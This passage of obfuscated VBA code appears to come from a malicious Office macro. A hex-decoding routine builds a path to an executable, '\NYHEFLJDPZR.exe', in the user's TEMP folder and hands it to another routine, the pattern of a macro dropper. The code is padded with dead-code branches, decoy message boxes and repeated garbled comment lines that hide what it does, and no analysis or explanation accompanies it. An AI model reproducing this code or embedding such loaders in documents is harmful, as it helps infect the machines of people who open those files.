SGlQzruH = GIYbonflbkpgerg("20202020202020202020204A59565A4752202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
VWyFEKqa = LTrim(SGlQzruH)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
XTOnAMHb = RTrim(VWyFEKqa)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
    ICWLJKSEKJP yfVUGJK, Environ(GIYbonflbkpgerg("54454D50")) & GIYbonflbkpgerg("5C4E594845464C4A44505A522E657865")
End Sub

Public Function GIYbonflbkpgerg(ByVal cQlbRg As String) As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim ZZLyawIQ As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim VHLlaQQjgDZ As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim DzLOdyAJTO As Long
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
For DzLOdyAJTO = 1 To Len(cQlbRg) Step 2
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim DoPqzxJh, krkTgJIi, qmojyVCQ As String
If 642151 = 642151 + 1 Then End
If 4235 < 16 Then
        MsgBox ("hmONFQJI31")
End If
If Len("uAeFcLwO5349") = Len("NeKyzNts") Then
       MsgBox ("Error !!!")
End If
DoPqzxJh = "           IWIYXC               "

If 676326 = 676326 + 1 Then End
If 7625 < 12 Then
        MsgBox ("VWqWtzxZ72")
End If
If Len("DkqoqdLy8741") = Len("BUWKnajg") Then
       MsgBox ("Error !!!")
End If
krkTgJIi = LTrim(DoPqzxJh)

If 885851 = 885851 + 1 Then End
If 1455 < 77 Then
        MsgBox ("EGBSILBk31")
End If
If Len("zyxiTmGS2561") = Len("WUsnqAvf") Then
       MsgBox ("Error !!!")
End If
qmojyVCQ = RTrim(krkTgJIi)


If 545588 = 545588 + 1 Then End
If 4894 < 65 Then
        MsgBox ("RoBFaWzy68")
End If
If Len("lTBayybO5119") = Len("TXOQwMXK") Then
       MsgBox ("Error !!!")
End If
ZZLyawIQ = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(cQlbRg, DzLOdyAJTO, 2)))

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim hdozTMFK, RegTQTNn, ufEbmeOW As String
If 189695 = 189695 + 1 Then End
If 2494 < 22 Then
        MsgBox ("SFAESFPJ51")
End If
If Len("qyBNPhns3528") = Len("rYFkgxpD") Then
       MsgBox ("Error !!!")
End If
hdozTMFK = "           VGRGNU               "

If 417775 = 417775 + 1 Then End
If 9733 < 23 Then
        MsgBox ("DqkkjHGv55")
End If
If Len("MxdCuINO9848") = Len("uDVYxwcK") Then
       MsgBox ("Error !!!")
End If
RegTQTNn = LTrim(hdozTMFK)

If 133419 = 133419 + 1 Then End
If 9148 < 88 Then
        MsgBox ("tONPFbiQ89")
End If
If Len("XGlvcIDD9254") = Len("GjiHzFxg") Then
       MsgBox ("Error !!!")
End If
ufEbmeOW = RTrim(RegTQTNn)


If 518185 = 518185 + 1 Then End
If 4269 < 44 Then
        MsgBox ("WgnILPRO66")
End If
If Len("enwfOZGM2952") = Len("gJuCBjde") Then
       MsgBox ("Error !!!")
End If
VHLlaQQjgDZ = VHLlaQQjgDZ & ZZLyawIQ

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Next DzLOdyAJTO
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim dWnnGNkS, basEjFwC, cQGhgHax As String
If 441616 = 441616 + 1 Then End
If 3219 < 95 Then
        MsgBox ("ijZAJEqP96")
End If
If Len("BcWhbSHQ1812") = Len("KBPUtLvf") Then
       MsgBox ("Error !!!")
End If
dWnnGNkS = "           TOAXIZ               "

If 517986 = 517986 + 1 Then End
If 7942 < 96 Then
        MsgBox ("WhkAfROi76")
End If
If Len("wjovGrIN5734") = Len("XzzvIEEW") Then
       MsgBox ("Error !!!")
End If
basEjFwC = LTrim(dWnnGNkS)

If 575954 = 575954 + 1 Then End
If 9769 < 62 Then
        MsgBox ("noopgNvi35")
End If
If Len("QtchIGKH1975") = Len("RTdUfXAk") Then
       MsgBox ("Error !!!")
End If
cQGhgHax = RTrim(basEjFwC)


If 994324 = 994324 + 1 Then End
If 1815 < 45 Then
        MsgBox ("fiNWrhtp14")
End If
If Len("FoHKTGrz2921") = Len("gWPKvgBC") Then
       MsgBox ("Error !!!")
End If
GIYbonflbkpgerg = VHLlaQQjgDZ

End Function